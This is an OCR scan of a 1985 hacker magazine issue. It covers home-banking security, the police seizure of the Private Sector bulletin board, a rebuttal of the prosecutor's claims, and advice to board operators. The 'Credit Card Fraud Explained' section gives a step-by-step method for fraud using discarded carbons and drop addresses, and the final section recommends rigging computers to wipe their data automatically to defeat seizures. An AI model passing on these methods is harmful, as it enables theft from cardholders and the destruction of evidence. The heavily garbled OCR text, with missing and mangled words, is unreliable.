Chemical Bank’s PRON _Erﬂvides a host of
banking services all available for dialing

ug with your personal computer and modem.
After signing on with your account you can
make balance inquiries, transfer funds

between accounts, use the bank's computer
to k&gT track of your checkbook and budget
pay bills to selected merchants, and sen
electronic mail to other subscribers. All
this costs twelve bucks per month, and you
get a checking account and casﬁ machine

card thrown in too.

Naturally, PRONTO includes  numerous
security features to make sure that only
those authorized to do_so can play with the
accounts. First of all, you can't call up
PRONTO with just any terminal. You

must be using their special software. This
means that you can’t even subscribe unless
your computer is one of the popular series
that they support (Apple II, Atari,
Commodore 64, Compaq, and IBM compatible).
On top of that, there's ¥uur personal
password that you have to fork over each
time you connect. This sounds
to keep the average troublemak
out of their hair, but is by no means
bulletproof. If someone eavesdropped on_a
PRONTO conversation he or she could EEEil{
pick up the codes needed to get into tha
account, since they’re probably the same
ones for each session (unless, of course,
the eavesdroppee has changed the password
lately). Of course, this hypothetical
intruder would need their own copy of
PRONTO software.  But that would not be
much of an 1m¥gd1ment to many hackers.
One bank officer, when presented with
this argument, countered with, "But there's
really nothing an intruder could deo with
your account even if they did manage to
sign on to it somehow. They could get
their jollies transferring money between
our accounts, but they can’t take any out
or themselves." PRONTO allows you to pa¥
bills, but only to a selected list o
merchants. This has over 300 companies on
it, including other banks where you might
want to make loan or credit card payments,
all of the area utilities, 1insurance
companies, several clubs, newspapers an
other kinds of businesses that bill you
every month. If there’s someone you want
to pay that’s not on the list, you can_ ask
for them to be included. Chemical claims
this is a big security advantage over other
banks® home services, since Yyou can only
send money to scmeone on their pre—approved
lists. Just in case the unthinkable should

ood enough
%ng hacker

happen, the customer is liable for the
first $50 of a fraudulent electronic
banking transaction, Jjust like in the
credit card and cash machine services.

Egcegt in that case, the customer may be
liable for the first $500 (the maximum) if
he or she fails to notify the bank within
twg days of losing the bank card or access
code.

Chemical =also provides another service
called PRONTO Business Banker. Like
PRONTO, it has slick promotional material

telling the prospective manager how he can

get complete contrel over his compan 's
accounts. The selling style is a little
different, but it appears to be basically

the same service except with a few minor
changes for business customers.

The way the money actually  gets
transferred when you pay your bills is also
interesting —— as of March when Chemical
received a PRONTO request for a payment
somewhere, some clerk in New Jersey would
actually write a check out, shove it 1n an
envelope, and mail it u?f.‘ I don’t know
whether they’ve modernized this at all, but
they were planning to. Chemical also
speaks of future expansions to PRONTO, such
as news, home shupp1nﬁ, and stock quotes.

In the bad ol days, most bank
transactions needed a human _being’s
signature to be processed. Electronic
banking services replace the handwritten
signature with a digital identification.
The security is fairly good when it comes
te a handheld bank card, suitable for
sticking into cash machines wherever you
go, which otherwise stays in your pocket
where no one else should have any access.
But the home banking services take this cne
step further —— the latest "signature" 1is
merely a computer identification code,
which, like a common—carrier access code or
credit card number, is only secure while no
one else knows about it. :

Citibank’s recognition of your digital
signature is rather disappointing. Their
first level of securitﬁ is the individual
copy of the software they give you, which
has an embedded identification in 1it. The
next one is the number printed on your bank
machine card that they Elve you (shades of
the ATT callin% card blunders of last
year ). The last one is the same "personal
identification code" (PIC), a four to six
digit password that 1s magnetically
encoded on your Eanking card and must be
typed in whenever you use their cash
machines. This puts a lot of strain on the
PIC, since its disclosure would compromise
hctﬁ vour cash machine and home banking
accounts. Citibank warns you in their
literature to inform them immediately if,
among other things, your banking software
is lost or stoien“. Either they don’t
think cﬂﬁying of that software is a threat,
or the ave (ha ha) copy protected it.

By the way, one of the other home banking

gservices is called EXCEL from Manufacturers

Hanover (a.k.a. Manny Hanng}. The only one
I know of of merit’ is PRONTO, and there
anl because of the electronic mail
included in the monthly fee. You would

have to be the kind of person who writes a
lot of monthly checks or has a difficult
time making it out to the nearest cash
machine in order to benefit from those
services. )
[Gitihank’s bank-by-phone  system is
called DIRECT ACCESS. We tried out this
one using a simulation disk which we
ordered for free through an 800 number.
The people there were very happy to send us
a demo—floppy for an IEMEgumpatzblei This

system hgs several other services including
Dow Jones. _
2600 subscribers who have home banking

services in their area are invited to write
back and tell us what’s going on i1n your
home town. Any of your personal experi-
ences (good or bad) with these services

would also be welcome.



SEIZED!

2600 Bulletin Board is Implicated in Raid on Jersey Hackers

On July 12, 1985, law enforcement
officials seized the Private Sector BBS, the
official computer bulletin board of 2600

magazine, for "complicity in_  computer
theft,”" under the newly passed, an ¥et
untested, New Jersey  Statute 2C:20-25.
Police had uncovered in April a credit
carding ring operated around a Middlesex

County electronic bulletin board, and from
there investigated other North JEEBE{
bulletin boards. Not understanding subjec

matter of the Private Sector BES, police
assumed that the sysop was involved in
illegal activities. ix other computers
were also seized in this investigation,

including those of Store Manager who ran a
BBS of his own, Beowolf, Hed Barchetta, the
Vampire, NJ Hack Shack, sysuE of the NJ Hack
Shack BBS and that of the sysop of the

Treasure Chest BBS. . 1
Immediately after this action, members of
2600 contacted the media, who were
completely unaware of any of the raids.
They began to bombard the Middlesex County
Frnsecugﬂr’s Office with questions and a
ress conference was announced for July l6.
ghe system operator of _the Private Sector
BBS att ted to attend along with reporters
from 260¢. They were effectively thrown off
the premises. Threats were made to charge
them with trespassing and other crimes.
officer who had at first received them
civilly was threatened with the loss of his
job if he didn’t get them removed promptly.
Then the car was chased out of the parking
lot. Perhaps prosecutor Alan Rockoff was
afraid that ghe presence of some technically
literate reporters would ruin the effect of

his press release on the public. As it
happens, he didn’t need our_ help.

EEE next day the details of the press
conference were reported to the public by

the press. As Rockoff intended, parancoia
about hackers ran rampant. Headlines got as
ridiculous as hackers ordering tank parts by
telephone from TRW and moving satellites
with their home computers in order to make
free phone calls. These and even more
exotic stories were reported by otherwise
respectable media sources. The news con—
ference understandably made the front page
of most of the major newspapers in the US,
and was a major news item as far away as
Australia and in the United Kingdom due to
the sensationalism of the claims. We will
try to explain why these claims may have
been made in_this issue. ]

On July 18 the operator of The Private
Sector was formally charged with "computer
conspiracy” under the above law, and

released in the custedy of his parents. The
next day the American Civil Liberties Union
tock over his defense. The ACLU commented
that it would be very hard for Rockoff to
prove a conspiracy just "because the same
information, construed by the prosecutor to
be illegal, apﬂgnrn on two bulletin boards,

eapeciaﬁly as Rockoff admitted that "he did
not believe any of the defendants knew each
other.” The LU believes that the system
operator’s rights were violated, as he was

assumed to be involved in an _illegal
activity just because of other E:ﬂple under
investigation who happened to ve posted

messages on his board. 1

In another statement which seems to
confirm Rockoff's belief in guilt by assoc-
iation, he announced the next day that "630
people were being investigated to determine

if any used their computer eguipment fraudu-
lently.”"” ° We believe this is only the user
list of the NJ Hack Shack, so t actual

list of those to be investigated may turn
out to be almost times that. The sheer
overwhelming difficulty of this task may
kill this investigation, especially as they
find that nang hackers simply leave false
information. omputer hobbyists all across
the country have already been called by the
Bound Brook, New Jerse¥ﬂ office of the FBI.
They reported that the FBI agents used scare
tactics in order to force confessions or to
provoke them into turning in others. We
would like to remind those who get called

that there is nothing inherently ‘wrung _or
illegal in calling anmy BBS, nor in talki
about any activity. The FBI would no

comment on the case as it is an "ongoin
investigation" and in_the hands of the loca
prosecutor. They will scon find that many
on the Private BSector BBS's user list are
data pru:essinf managers, telecommunications
securit people, and others who are
interested in the subject matter of the BBS,
hardly the underground community of computer
criminals depicted at the news conference.
The Private Sector BBS was a completely open
BBS, and police and security people were
even invited on in order to participate.
The BBS was far from the "elite" type of
underground telecom boards that Rockoff
attempted to portray.
H??Ein two days, Rockoff took back almost
all of the statements he made at the news
conference, as ATAT and the DOD discounted
the claims he made. He was understandably
unable to find real proof of Private
Sector’s alleged illegal activity, and was
faced with having to return the computer

MY COMPLIMENTS TO
THE PRIVATE SECTOR !

equipment with nothing to show for his
egfurt, Rockoff panicked, and on July 31,
the system operator had a new charge against
him, "wiring up his computer as a blue box."
Apparently this was referrin to his Nova-
tion Applecat modem which 1s capable of
enerating any hertz tone over the phone

ine. By this stretch of imagination an
ﬁpﬁlecat could produce a Z600 hertz tone as
well as the MF which is necessary for "blue
boxing." However, each and every other
owner of an Applecat or any other modem that
can generate its own tones therefore has
also "wired uT his computer as a blue box"
by merely insta linﬁ the modem. This chﬂrfe
is so ridiculous that Rockoff probably will
never bother to press 1it. However, the
wordin of wiring up the computer gives
Rockoff an excuse to continue to held onto
the computer longer in his futile search for

illegal activity.

"We have requested that the prosecutors
give us more specific information," said
Arthur Miller, tﬁe lawyer for The Private
Sector. "The charges are so vague that we
can't really present a case at this point."
Miller will appear in court on August 16 to
obtain this information. He is also 1ssuling

the equipment

a demand for the return of
den’t cﬂnperateE

and if the prosecutors

wil commence  court proceedings agains
them. "They haven't been particularly
cooperative,” he said. )

Rockoff probably will s=soon reconsider
taking Private Sector's case to court, as he
will have to admit he just didn’t know what
he was doing when he seized the BBS. The
arrest warrant listed only "computer con-
spiracy”" against Private Sector, which is
much more difficult te prosecute than the
multitude of charges against some of the
other defendants, which 1include credit card
fraud, toll fraud, the unauthorized entry
into computers, and numerous others.

Both Hﬂckﬂf% and the ACLU mentioned the
Supreme Court in their press releases, but
he will assuredly take one of his stronger
cases to test the new New Jersey computer
crime law. By seizing the BBS just because
of supposed activities discussed on it,
Euckcfgp raises constitutional questions.
Darrell Paster, a lawyer who centers much of
his work on cnmﬁuter crime, says the New
Jersey case is " just another example of
local law enforcement Eettlng on the band-
wagon of crime that has come into vogue to
prosecute, and they have proceeded with very

little technical understanding, and in tbe
process they have abused many people’s
constitutional rights. What we have devel-
oping is a mini witch hunt which is anale-
gous to some of the arrests at day care
centers, where they sweep in and arrest
everybody, ruin reputations, and then find
that there is on one or two ilty
parties." We feel that law enforcement, not
understanding the information on the BBS,
?e%ided to strike first and ask questions
ater.

2600 magazine and the of  the
Private Sector BBS stand fu]lg behind the
system operator. As soon as the equipment
is returned, the BBS will be back up. We
ask all our readers to do their utmost to
support us in our efforts, and to educate as
many of the public as possible that a hacker
is not a computer criminal. We are all
convinced of our sysop’s innocence, and
await Rockoff’'s drﬂpplﬂf of the charﬁ:g.

1 t our

Sysops

[NOTE: Readers wi notice th
reporting of the events are quite different
than those presented in the media and by the

Middlesex County Prosecutor. We can only
remind vou that we are much closer to the
events at hand than the media is, and that
we are much more technulagicaily literate
than the Middlesex County Prosecutor’s
Office. The Middlesex  Prosecutor  has
already taken back many of his statements
after Eis contentions were disproven by AT&%
and the DOD. One problem is that the media
and the police tend to treat the seven cases
as one case, thus the charges against and
activities of some of the hackers has been
extended to all of the charged. We at 2600
can only speak about the case of Private
Sectﬂr.¥
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COMMENTARY: THE THREAT TO US ALL

We're very used to reporting on this kind
of a story. We've done it so many times in
our pages that we’re tempted to gloss over

raid" stories because they've become so
commonplace. But we realize that we cannot
ever ignore such events, because we all need
to know what is happening out there. It’s
really not a pretty sight.

Mention the word computer to someone and
you'll see a variety of reactions. 1In our

case it would be overwhelming enthusiasm,
much

like an explorer confronting a new
adventure. But to many people, computers
are evil and scary. This takes two ¥grm5:
fear of the computers themselves, and

complete ignorance as to what they and their
uﬁeratcrs are capable of doing. We saw
plenty of the latter last month.

We don’t care if people refuse to under—
stand computers and how they fit in. What
we do object to, however, is when these same
people insist on being the ones to pass laws
and define abuses concerning computers.
every i1nvestigation we have seen, ignorance
abounds. True, such ignorance can be amus—
ing -- we all got a g laugh when we heard
the New Jersey authorities insisting that
the hackers were mﬂv1ng satellites "thro
the blue heavens”. But losing The Private
Sector isn’t at all funny, and whether you
were a caller to that bulletin board or not,
its loss is a very troubling sign.

What was The Private Sector? Picture a
sounding board of ideas, theories, and ex-
Beg1encea and you'’ll have a good idea. The

rivate Sector was a ﬁlace to ask questions,
talk to experts, and learn a hell of a lot
about high technology. It was pmever a place
to trade illegal information, such as Sprint
codes, credi card numbers, or computer
passwords. The system operator took
elaborate measures to ensure this, such as
going through each and every message, public
and private, on a daily basis to make sure
nothing shady was tr&nagirins. We don’t
believe he should have had to do even this.
We can’t condone censnrshig of any kind
our feelings were that if people wanted to
do illegal things, then ¢hey would face the
consequences, not the people who simply
talked to them. But the sysop had his own
policy and he stuck by it and kept the board
clean.  He wanted two things: a good,
interesting bulletin board and no trouble
with authorities. At least he managed to
obtain one of those goals.

Again we see ignnrance and a disregard
towards the rights of all of us. They came
and took our board, whose only “"crime" was
being mentioned on another board that had
been raided the month before. The Private
Sector was completely innocent of any wrong-
doing. Yet it is being held at this moment,
without bail. See the connection to free
sggech yet? Many people have trouble seeing
this because of that word computer. Yet a
computer bulletin board is probably the
purest form of free speech that exists
today. Anyone can call, anyone can speak.
True identity is not required. Why should
this be considered a threat in a democracy?
. We've been told there is legislation pend-
ing in the House of Representatives to
"regulate"” bulletin boards. What this would

In

mean is a re—definition of BBS3’s into a sort
of Yuhliﬂ utility. The system operator
would have to take full responsibilty for
everything that was posted. This means if
he went away for a week and didn't censor
messages, he could find himself facing
charges when he came back!) The system
operator would also be regquired te confirm
tﬁE identities of all users and we wouldn’t
at all be surprised if part of this involves
the paying of some sort of fee for =a
license. These sound very much like the
kind of tactics used by repressive rr "mes
to curb public assemblies and newspape Is
this in fact what is hﬂgf@ning? Aren’t
bulletin boards a form of E_ ic assembly, a
kind of electronic publication?

Before all of the computer hobbyists out
there start hating the "hackers" for ruining
the future of bulletin boards, we’d like for
them to view this whole affair as an import-—
ant and inevitable test. True, some boards
today are being used for sleazy things and
criminals are involved. One could say the
same thing about telephones or even ecars.
(Think of how much illegal information must
be sed within the confines of some
people’s cars.) The fact is we cannot
sacrifice a freedom simply because some bad
people are using it.

e see this sort of test frequentlﬁ. When
police pull you over and ask all kinds of
questions when you haven’t done anything
wrong, you probably wind up fairly annoyed.
But when they say it’s a way of catching
drunk drivers -— well, now that’s different.
A little bit of freedom isn’t all that im-
ﬁﬁ;taﬂt when the public welfare is at stake.

t rubbish! And what a perfect way to
start eroding our rights as individuals.

We're glad that we were able to convince
the American Civil Liberties Union to take
the case, which is most likely their
introduction to the issues that surround the

use of c uters. We've found Tﬂﬂd media
like The York Times that actually cares
about what is said in their stories and

attempts to find out what all the sides are.
We've also seen sensationalism at its worst

such as WABC-TV, which took our comments out
of context and made wus seem like an
anti-hacker establishment! Or The New Fork
Daily MNews reporter who asked us after we
said the system operator was "surprised" to
see his computer taken, "Was he shocked?"

Most of all, though, we're amazed at the
response of Eackera and non-hackers alike,
who came to the defense of The Private
Sector, offering services, equipment, ad-
vice. Our phones have been jammed —- we’ve
never seen anything like this. Everyone who
called The Private Sector knows it was
devoid of all the things it's being accused
of having. The most important thing anyone

can de at this point is to make sure
everyone knows. The concept of a bulletin
board must be understocod. The value of The
Private Sector must be known. The connec—
tion to publications and freedom of speech
has to be established so that people under-
stand the threat to thew whenever a bulletin
board is shut down. When we do this, we'll
be that much closer to getting The Private

Sector back on line and making a positive
precedent.



moving satellites right up in the blue...
...what was really going on?

[When the details of the Middlesex County
Frosecutor’s Office press conference hit the

newspapers the next day, the ridiculous
charges made many people knowledgeable about
technology and camputers very disgusted.
.Hggy simple and innocent bits of information
had been twisted into "evidence" of illegal
activities. With the aid of The Shadow, we
have  put together a8 |guide to these
misinterpretations in the  hopes  that
everyone can see how this investigation has
gotten completely out of contrel.

One of the more sensationalist
crimes of the hackers was, as Middlesex
County Prosecutor Alan Rockoff said, "chang-
ing the positions of satellites up in the
blue heavens" and causing communications
satellites to "change positions™ in order to
make free phone calls "possibly disrupting
intercontinental communications and making
legitimate phone calls impossible.” This
story was twisted by the media to the extent
of dire predictions of hackers causing
satellites to crash into the Soviet Union,
ﬁfﬂ?ﬂklng a nuclear war, as heard on one
ednesday morning radic news program, and
the "disruption of telex and telephone
transmission between two continents.” Very
soon afterwards AT&T and Comsat denied that
any attempts to re-route satellites had been
made. In fact, an AT&T executive on the
MacNeil-Lehrer HReport stated that the
computers which controlled the satellites
weren’t even connected with the phone lines
and that the satellites were constantly
monitored for movement, and none had ever
been detected.

So how did this fallacy arise? Not having
been on the other boards we can only assume
that they may have contained information on
making il e%a international calls, giving
the police the idea that there was inter—
national phreakin§+‘ Many long distance com-
panies use satellites to transmit their
calls. The Private Sector BBS had much in-
formation on satellites, fitting in with its
purpose as a telecommunications infeormation
source. One recurring topic was TASI, (Time
Assignment Speech Interpolation) a method of
transmitting satellite conversations. TAST
is only the packet switching of telephone
conversations, where the conversation is
converted into small packets and sent over
satellite and man{ long distance circuits
effectively simultaneously along with man
other conversations. TASI permits severa{
conversations to be sent over one satellite
circuit, thus permitting more conversations
without sending up more satellites. It is
comparable to talking about modem transmis-
sion methods. As far as we know there is mo
way to wuse TASI and similar information
fraudulently, and certainly one cannot move
satellites uﬂin% this. Evidently Middlesex
County law enforcement saw posted messages
on the routing of calls through a satellite
and jumped, due to parancia, to the con-
?lgslnn it was for the moving of the satel-

ites.

Another of the more sensationalist charges
was that the youths had Department of
Defense "secret telephone codes" that could
enable them to penetrate the Pentagon. Due
to the subject matter of the Private Sector

BBS (telecommunications), AUTOVON, the DoD’'s
private telephone netwﬂrﬁ, was often brought
up because it offers an extremely inter-
esting network architecture quite different
than civilian phone systems. Some AUTOVON
phone numbers were on the board as examples
of the format of the unique numbering plan.
These numbers are easy to obtain and have
aﬁpeared on other boards. These  AUTOVON
phone numbers can be obtained from a declas-
sified DoD phone book available from the
Government Printing Office for a small fee.
One of the more muddled of the ch es was
reported by media sources vari ly as
hackers "ordering tank parts using stolen
credit cards by computer from TRW", breaking
into THW computers for top secret inform-
ation on tank parts, and other variations.
It turns out that TRW does do some defense
contracting, but it has nothing at all to do
with tank parts, instead making automobile
parts  for various non-tan military
vehicles. THW does have a credit rating
service accessable by computer, but this is
in a completely separate division. Somehow
the authorities and the press had mangled
the different alleged crimes of credit card
fraud and the breaking into of a defense
contractor’s computer system which happened
to have defense department information in
it. Since TRW is in both credit ratings and
defense contracting, it would be an obvious
Jump in illogic to have the hackers break
into TRW computers and order tank parts by
credit card.
And just why was the Private Sector
discussing TRW in the first place? TRW's
credit rating computers were discussed on
the Private Sector much as TRW was discussed
in 2600 (July 1984). Since people’s private
credit information is stored under shoddy
security, it naturally came up in the dis-
cussion of computer security as a particu-
larly bad instance. Such discussions
weren’t for the purpose of breaking into
computer systems, but were conducted by
various hackers (nof computer criminals) and
data processing managers who were interested
in security methods and computer abuses.
Another possible source of confusion is
the fact that many of the messages on the
BBS’'s that were confiscated were written by
people 13 years old or younger. People this
age may brag and tell stories as young
people sometimes do. We're sure that you

of the

can imaﬁine a vyoung person telling his
friends how he blew up an AT&T computer or
knocked a satellite out of orbit, much the

same way he might brag about the speed of
his father'’s new sports car. It would be

quite irresponsible of authorities to issue
the kid’s father a ticket based on this just
as 1t was irresponsible of them to announce

to the press the list of computer crimes
without verifying that actual crimes did
occur. The authorities are still unsure

what crimes, if any, actually took place.
When all these exotic charges are revealed
to be mere flights of fancy, a great lack of
knowledge about computers and telephony is
uncovered on the part of law enforcement.
We feel that law enforcement officials,
along with telecommunications hobbyists,
should start to research the field by ~ look-

inf in their public library, or even better
a local

college library (under 621 Dewey
Decimal). Several magazines also provide
good information, such as Telecow Digest,

Comwunications Age, as well as 2 and
other telecom industry publications.
_ Credit Card Fraud Explained

With regards to the credit card part of

this whole thing, here is a brief guide to

how credit card numbers are used fraudu-
lently.

First one obtains a complete credit card
number including expiration date. If a
driver’s license number, social security
number, or other information is also ob-
tained, then it is easier to use the credit

card number to charge goods and services.
Credit and other information is usually
found in the form of carbons (actual carbon
gap&r that fits between the credit slip and
he receipt) that are often discarded after

their use. Carbons contain all of the
information from a previous legitimate
urchase. If someone is required to include

heir address or social security number with

their credit card number then this will alseo
appear on the carbon which is found in the
daily trash of many retail stores. One can
then call up a cﬂnpanﬁ that takes charge
requests over the phone and order gn 8
using the credit card information that was
found with the trash.

But the real hurdle to cﬂmmitting credit
card fraud is to have the package delivered
and for this one needs a mailing address.
This can be obtained a few ways. e is to
get a post office box under an assumed name,
and another is to have it delivered to a
place where it can be picked up before the
package is noticed. By using stolen or
false identification or by heinE convincin
to a postal clerk, one can obtain a pos
office box. One can also ask for general
post office delivery, where the post office
will put wyour Eack& e on the racks behind

the counter waiting for you to pick ug. By
finding a vacant or temporarily empty home
cne can alsoe have the objects delivered

there.

And this is how it is done from start to
finish. There may be more effective ways to
complete the various stages, but all in all
it 1s that simple. This is mainly because
Cﬂmﬁanies make it easy to make a purchase
while only supplying a small amount of per-
sonal information. Often if a company has
been guaranteed that it will be covered for
the wvalue of fraudulently charged goods,
then the company will make it easier for a
person to charge them.

The problem of credit card fraud has a few
simple cures: make it harder to order ob-
Jects by phone (companies can issue a code
that must be wverbally communicated in order
to complete the purchase-—one that doesn’t
agpear on the carbon) or discontinue the use
o carbons in credit card receipts. There
are many other safeguards that can be used
to decrease this type of fraud.

This section was not intended to
guide in how to commit & crime,
edification of how this crime is not
committed. Credit card fraud is not high
tech crime. No computer is involved or has
to be involved; no illegal phone calls are
involved; and it is not necessary to break
into TRW or other credit bureaus to commit
this crime.

Computers may be used as notepads or
message boards where individuals might write
down the information that they found in the
trash. With regards to credit card fraud,
computers are only used as a medium for com—
munication. Credit card carbons are so
easily found and the process of performing
the actual illegal charge has been made so
easy that it 1s not even necessary to dis—
cuss the topic with others to be able to
commit the crime.

Because of the use of US mail or post
office boxes, the post office is involved in
investigating this ¢t of crime. The
Secret Service was authorized last October
to i1nvestigate credit card fraud. The FBI
has a variety of reassons to investigate.
There are already laws everywhere against
credit card fraud, and there are already as-
sociated penalties, It is nothing new to
law enforcement. In addition, much of all
credit card fraud is committed by those who
steal, manufacture, or find whole credit
cards.

We hope that this thurnuﬁh explanation
will help to get rid of those inaccurate
stories we've seen asbounding. Again we’d
like to clarify that law enforcement people
should learn a bit about computers and
telecommunications and above all try to con-
trol their enthusiasm.

We are, of course, only gualified to
comment on the specific case of The Private
Sector. We feel that Rockeff and his
cohorts will have to search a long time for
the "special codes that provid illegal
access to the information at issue" on The
Private Sector, as they just aren’'t there.
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1) WO CODES/FASSWORDS/CC #'s are to be
posted or exchanged via E-mail.
Yiolation of this rule will cost you
vour access. Remember we sSee every-—
thing you type.

2) POST INFORMATION relating to telecom
OMLY !

These rules are to protect both you the
uger and we the sysops.

If you have any interessting articles
please send them to 2&00 wia Email to
2500 MAGAZINEY We appreciate all good
and informative articles.



WHY COMPUTERS GET SNATCHED

When a computer system is confiscated from
a young person because thei break into
someone s mainframe, because they have a BBS
with lots of codes or passwords posted on
it or. because they are caught making
i]iegal phone calls, no one complains. It
is often said that the vyoung person
obviously commited a crime and deserves to
lose their computer. The kid’s parents are
not oing to complain, because they know
enough to think twice about arguing with the
FBI, The Secret Service, or whomever. Plus
the Tarents do not want to make headlines in
the local papers. 8o what the authorities
in effect are doing is convicting p=ople and
punishing them by taking away their computer
system. This is, in part, due to the fact
that charges are often not pressed against
young people who break into computers.

When one asks some bi company’'s public
relations department whether or not people
break into their computers they are likely
to say: "Oh no, of course not, we have the
most secure systems." This is because it
looks bad to admit to security breaches in
one’s system; one's livelihood. In the case
of GTE-Telemail, the Eﬂglﬂ there saw some-
thing going wrong, tﬂTd he FBI and then the
case was out of their hands. A full four
months or more after the raids in October,
1983 the default password was still the

letter "A". And it was not until weeks
after this was ublicized that this was
corrected (see 2600, April 1984). Ob-

viously Tel-ma:i:l did not want to admit that
thev were reluctant to deal with the real
problem. THW was upset last summer when the
press (see 2600, July 1984) had to tell the
world about breaches into the company’s
credit gathering system.

These companies make money because their
systems are reliable and secure and not
because they will prosecute people who break
in. They know that it is not worth it to
try to prosecute kids, and it is better to
prosecute those who try to use a computer to
embezzle. In addition kids are often exempt
from prosecution or, because of youthful
offender laws, will have little or no penal-
ties placed against them.

It 1s for these reasons that it is more
advantageous for companies to have author-
ities confiscate equipment and punish the
hacker that way rather than dragging them
through court. They keep the equipment by
calling it evidence in an ongoing investiga-
tion, and they often return it if the kid
tells them everything they  know. (In
addition, the kid's confession about the
gnnr security of whatever system he may have

roken into is rarely related to the proper
security personnel at the company that owns
the system.) This is also a form of harass-—
ment or scare tactics. Aren't yﬂung people
citizens and don’t they have rights just
like the rest of us? They have the right to
due process and have to be proven guilty
beyond a reasonable doubt.
aw enforcement types have said that they
occasionally have to make hacking headlines
in order to reduce the amount of late night
computer activity. They have admitted that
they need to get a good bust in before the
summer starts, because they know that all
young people with computers may spend their
summer trying to start World War III from
their home. And this is a no-no.



Some Important Questions To Ask

Al these vent rai stions:
Who ils I‘ESDGI‘IEIﬁ) e tor a SBEHSFarﬁyfq{'lte its fﬁ'e
sysop how about remote s;sups? How much can
one do to regulate a BBS~ On the Private
Sector messages were re%ularly scanned for
potential illegal material and then deleted
when found. Then the user who posted the
message was denied any further access. What
more can one do than this? Especially if
the BBS is simply a hobby and not a full
time job. On the Private Sector it was
extremely unlikely to see a credit card
number or an Allnet code. Plus isn’t it

really illegal to wuse these codes? This is
because a crime has been comm xd only
after a code has been used. But n again

in some states, namel{ California, it is
illegal to tell people code formats. This
makes all credit card commercials, sample
credit cards, and this publication illegal
there. Does this sound right?

It also raises a variety of questions on
the admissibility of electronic evidence.
The Middlesex prosecutors consider reading
messages on a BBS the same as overhearing a
conversation. Is this the proper way to
look at BBS messages? And what about elec-
tronic mail? Is the sysop responsible for
the contents of electronic mail just because
he provides the service? Isn’t it just as
sacred as US mail? Now, there are cur-
rently no laws that require court approval
in order to tap data lines. So, how does
one consider evidence that is received by a
legal, vyet unapproved tap? If authorities
can confiscate a suspect computer system
because it has an illegal message on it, why
don’t they confiscate Compuserve when it is

used by criminals to exchange illegal infor-
mation? Or is the government just upset
about the fact that people are communicating
in an unregulated manner? These questions
go on and on. What are the answers?

Some of the answers are only starting to
aEpear as legislators address the problems
that are connected with the computer age.
But often they are only responses to head-
lines. For instance, we were told that Sen-
ator Paul Trible {R*?irginia% has recently
proposed legislation (5-1305 that would
regu_.ate obscene material on a BBS. Called
the "Computer Pornography and Child Exploi-
tation Prevention Act of 1985," the legisla-
tion would prohibit the posting of names or
addresses of children and prevent discussion
that could be construed as pertaining to

child exploitation. A couple of explicit
messages might give sufficient cause to get
a warrant to seize vyour BES. We have not

seen the legislation itself wyet, but it was
related to us by Jerry Berman of the Amer-
ican Civil Liberties Union's Privacy Project
in Washington. He said that this showed
"Congress trying to regulate an industry
that no one understands and that has no con-
stituency.” This is all too true.

On the other side, Berman told us about
legislation that is being drafted h{ Patrick

e

Leah (D-Vermont) that would extend laws
whic imit wiretaps in order to protect
data transmission, electronic mail, and
BBS's. This is something that would be.

harder to get through Congress, as it
reduces the power of law enforcement.

We will trﬁatﬂ keep you informed when any-
thing new ppens. So ask the questions
now, before they are answered for you.



HOW CAN SYSOPS PROTECT THEMSELVES?

. wave anxie is s i
nﬂ%lan as Bﬁg aperﬂggrs Huﬁﬁgglgi %ﬁ£§$?ltgg
next{ and BBS users_ worry about whether or
not their names will show up in raided
userlogs. we've now seen, it makes no
difference whether or not you’re actually
engaged in illegal activity. Any bulletin
Ef?r tgﬂ{ﬂh&re could be next and {here’s not

: much that be d t
it. Not until we b e e L BIEVeNE

protect us.
In the meantime, however, there are a few
suggestions we can pass along to either
%ﬁﬁaggr;hgagdds gﬁ a raid or to thwart the
ore 1 -

fidential matﬂriﬂl?jllr manage %o get iato con
Obviously, if you have a bulletin board
that frequently posts codes and passwords,

you can almost expect to get visited
if it’s only being done s il

get some laws passed to

in private mail.

ﬁETEI%h very t:mpnrtanttat this agage is the
e system operator is ing with
regards to ¥§15 information. pr ngsﬁé is
an

. active participant, there will most cer—
tainly be an attempt to make an example of
them. It’s similar to draft registration
evaders who publicize their opposition——they
are the ones that get ¥rnsecuted not the
ones who keep a low profile about it. By
running a bulletin beard, you are calling
attention te yourself, so it stands to
reason that you should ﬁeep your act clean.
Had this article been written before July
12, we would have advised sysops to en-
people not to post credit card
numbers, passwords, etc. in order not to get
hassled. But this is no longer the case.
With The Private Sector, authorities moved
in even though the board was kept spanking
clean of the above. So now, the only way we
can arantee that your board won’t be
snatched from you is if you wunpl it and
gpt it in a closet. Using a bulletin board
or communication between two or more people
can now be considered risk{.
Assuming that wyou still want your board
up, there are other precautionary " measures.
or one thing, the boards that ask the
caller whether or not they work for law en-
forcement really are working against them-
selves, First off, do they honestly expect
all law enforcement tﬁpes to dutifully say
yes and never call back when they’re denied

courage

access? Do they really think that these
people can't get their foot in the door even
if i1t is an "elite” board? Even if there is

nothing illegal on such a board, attention
is drawn to it by such statements and it
will become impossible to persuade the
authorities that there simply isn’t a higher
access level. On the same token, sysops
that run a disclaimer with words to the
effect of "the sysop takes no responsibility
for what is said on this board" are kidding

themselves if they think this is going to
save them from rassment. Those words
should agpl}r, naturally, but at the moment
they don’t seem to.

ether or not you want to censor the

messages on_your system is up to you. Some-
times it helgs to weed out undesirables and
sometimes it's an intrusion into someone’s

privacy.  We never liked the practice,
although it was_ done regularly on The
Private Sector. It's your board and you
have the right to run it your way.

What really needs to be addressed at this
point is the concept of protection. Yes
you have the right to protect rnurnel%

against thugs that come into your home, no
matter who sent them. One way is 4
scrambled data. There are wany scrambling

programs around and some of them are quite
good; even the NSA would have a time crack-
ing the code. We feel that all userlu%s
should be scrambled, at the very least. (ln
some cases, a valid form of protection would
be to keep no userlog at all.) Eint:m oper—
ators should trK‘ to figure out a way to
scramble everything so that nothing is
availeble to unauthorized parties.

raids become totally fruitless, maybe then
they will stop. Of course, now there_is the

roblem of being forced, under penalty of
law, to unscramble ever¥thing. A vivid
imagination can probably ind a way arcund

this as well.
The best method of protection is complete

destruction of data. Some people hook up
their computers so that if the wrong door is

opened or a button isn't pressed, a et
activates and wipes the disk clean. Bookies
like to do this with their Apples. Similar

systems can be rigged so that if a computer
is unplugged, the first thing it does upon
revival 1s a purge (not a directory purge
which comes with simply deleting file names

a complete reformatting of the disk which

erases all data). This means, though, that
every power failure will have the same
effect. It will take some time to make a

Enud sﬁatﬂn of protection, but this is pro—
ably the most constructive grnject that BBS

operators can engage in. I

if you have "nothing to hide". The fact is
ou have everything to protect from in-
ruding eyes. Because when they seize
equipment the read everything without

